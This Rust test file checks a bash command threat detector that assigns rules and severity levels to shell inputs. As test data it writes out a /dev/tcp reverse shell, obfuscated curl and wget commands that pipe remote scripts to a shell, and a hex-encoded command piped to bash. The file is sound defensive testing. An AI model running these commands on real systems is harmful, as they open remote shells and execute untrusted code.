#![cfg(test)]
use std::cmp::PartialEq;
use std::collections::HashMap;
use super::*;
use crate::security::detect::{DetectResult, ShellContext, Severity};
fn get_detector() -> BashDetector {
let ctx = ShellContext::new("/bin/bash", HashMap::new(), 100);
BashDetector::new(ctx, 4096)
}
/// 命中测试宏
///
/// 语法格式:
/// - `assert_hit!(detector, payload, rule)` : 默认 append_enter=true,不校验级别
/// - `assert_hit!(detector, payload, rule, severity: Severity::High)` : 默认 append_enter=true,带级别校验
/// - `assert_hit!(detector, payload, append_enter, rule)` : 显式指定 append_enter,不校验级别
/// - `assert_hit!(detector, payload, append_enter, rule, severity: Severity::High)` : 显式指定 append_enter 与级别
/// - `assert_hit!(detector, payload, append_enter, rule, Severity::High)` : 5 参数全位置形式
macro_rules! assert_hit {
// 内部核心逻辑实现
(@impl $detector:expr, $payload:expr, $append_enter:expr, $rule:expr, $expected_severity:expr) => {{
let payload_str = $payload.to_string();
// stop_on_first_hit 固定为 false
let res = $detector.detect(payload_str.clone(), false, $append_enter).await;
println!("{:#?}", res);
match res {
DetectResult::ThreatDetected(ref hits) => {
let expected_meta = $rule.meta();
match hits.iter().find(|x| x.rule_meta == *expected_meta) {
Some(hit) => {
let expected_sev: Option<Severity> = $expected_severity;
if let Some(expected) = expected_sev {
if hit.final_severity != expected {
panic!(
"Payload {:?} triggered rule {:?}, but expected severity {:?}, got {:?}",
payload_str, expected_meta.name, expected, hit.final_severity
);
}
}
}
None => {
panic!(
"Payload {:?} did not trigger rule: expected {:?}",
payload_str, expected_meta.name
);
}
}
}
_ => panic!(
"Payload {:?} expected ThreatDetected with rule {:?}, but got {:?}",
payload_str,
$rule.meta().name,
res
),
}
}};
// 1. 默认 append_enter = true,无级别校验
($detector:expr, $payload:expr, $rule:expr) => {
assert_hit!(@impl $detector, $payload, true, $rule, None)
};
// 2. 默认 append_enter = true,带级别校验 (语法: severity: Severity::xxx)
($detector:expr, $payload:expr, $rule:expr, severity: $severity:expr) => {
assert_hit!(@impl $detector, $payload, true, $rule, Some($severity))
};
// 3. 显式指定 append_enter,无级别校验
($detector:expr, $payload:expr, $append_enter:expr, $rule:expr) => {
assert_hit!(@impl $detector, $payload, $append_enter, $rule, None)
};
// 4. 显式指定 append_enter,带级别校验 (语法: severity: Severity::xxx)
($detector:expr, $payload:expr, $append_enter:expr, $rule:expr, severity: $severity:expr) => {
assert_hit!(@impl $detector, $payload, $append_enter, $rule, Some($severity))
};
// 5. 5参数全位置表达: (detector, payload, append_enter, rule, severity)
($detector:expr, $payload:expr, $append_enter:expr, $rule:expr, $severity:expr) => {
assert_hit!(@impl $detector, $payload, $append_enter, $rule, Some($severity))
};
}
#[tokio::test]
async fn test_detect_bash_tcp_reverse() {
let detector = get_detector();
let res = detector.detect("ls -la /dev/tcp/;echo aaa".to_string(), false, true).await;
assert!(matches!(res, DetectResult::Safe), "Should be safe");
assert_hit!(
detector,
"bash -i >& /dev/tcp/10.0.0.1/8080 0>&1",
rules::RuleBashTcpUdpReverseShell1,
severity: Severity::Critical
);
let res = detector.detect("ls -la /dev/tcp/;echo aaa".to_string(), false, true).await;
assert!(matches!(res, DetectResult::Safe), "Should be safe");
// 边界检测用例
let res = detector.detect("bash -i >& /dev/t".to_string(), false, false).await;
println!("边界检测用例.0: {:?}", res);
assert!(!matches!(res, DetectResult::ThreatDetected(_)), "未达到边界,不应该检测到");
let res = detector.detect("cp/10.0.0.1/8080 0>&1".to_string(), false, false).await;
println!("边界检测用例.1: {:?}", res);
assert!(!matches!(res, DetectResult::ThreatDetected(_)), "未达到边界,不应该检测到");
assert_hit!(detector, "\n", false, rules::RuleBashTcpUdpReverseShell1, Severity::Critical);
}
#[tokio::test]
async fn test_detect_remote_execution() {
let detector = get_detector();
assert_hit!(
detector,
"c$9ur\\l -s -H \"Cookie: token=7hHt4nuHEj8Y90RUfNnpcdRJWfwxlBykV6mdRYC2UZoDrXxYpV\" http://example.com/payload.sh | fish; ",
rules::RuleRemoteExecution,
severity: Severity::Medium
);
assert_hit!(
detector,
"ls -alh;w\\get -qO- http://192.168.1.1/script.sh | base64 -d | sh; echo ok ",
rules::RuleRemoteExecution,
severity: Severity::High
);
assert_hit!(
detector,
"bash <(curl -s htt\\ps://github.com/payload) ",
rules::RuleRemoteExecution,
severity: Severity::Low
);
let res = detector.detect("echo 'curl http://1.1.1.1 | bash'".to_string(), true, true).await;
assert!(matches!(res, DetectResult::Safe));
}
#[tokio::test]
async fn test_detect_obfuscation() {
let detector = get_detector();
assert_hit!(
detector,
r#"echo -e '\x65\x63\x68\x6f\x20\x27\x22\x68\x73\x61\x62\x20\x7c\x20\x3d\x3d\x41\x61\x7a\x46\x6d\x59\x67\x77\x48\x49\x6e\x51\x6a\x4e\x34\x78\x31\x4e\x33\x67\x48\x58\x7a\x63\x44\x65\x63\x4e\x7a\x4e\x34\x78\x56\x4d\x32\x67\x48\x58\x77\x63\x44\x65\x63\x5a\x6d\x4d\x34\x78\x31\x4d\x32\x67\x48\x58\x30\x63\x44\x65\x63\x56\x6a\x4e\x34\x78\x6c\x5a\x79\x67\x48\x58\x77\x49\x44\x65\x63\x52\x7a\x4e\x34\x78\x56\x4d\x32\x67\x48\x58\x7a\x59\x44\x65\x63\x64\x43\x49\x6d\x52\x6e\x62\x70\x4a\x48\x63\x20\x3c\x3c\x3c\x20\x64\x2d\x20\x34\x36\x65\x73\x61\x62\x22\x20\x63\x2d\x20\x68\x73\x61\x62\x27\x20\x7c\x20\x72\x65\x76\x20\x7c\x20\x62\x61\x73\x68' | bash"#,
rules::RuleBashObfuscationEvidence,
severity: Severity::Medium
);
}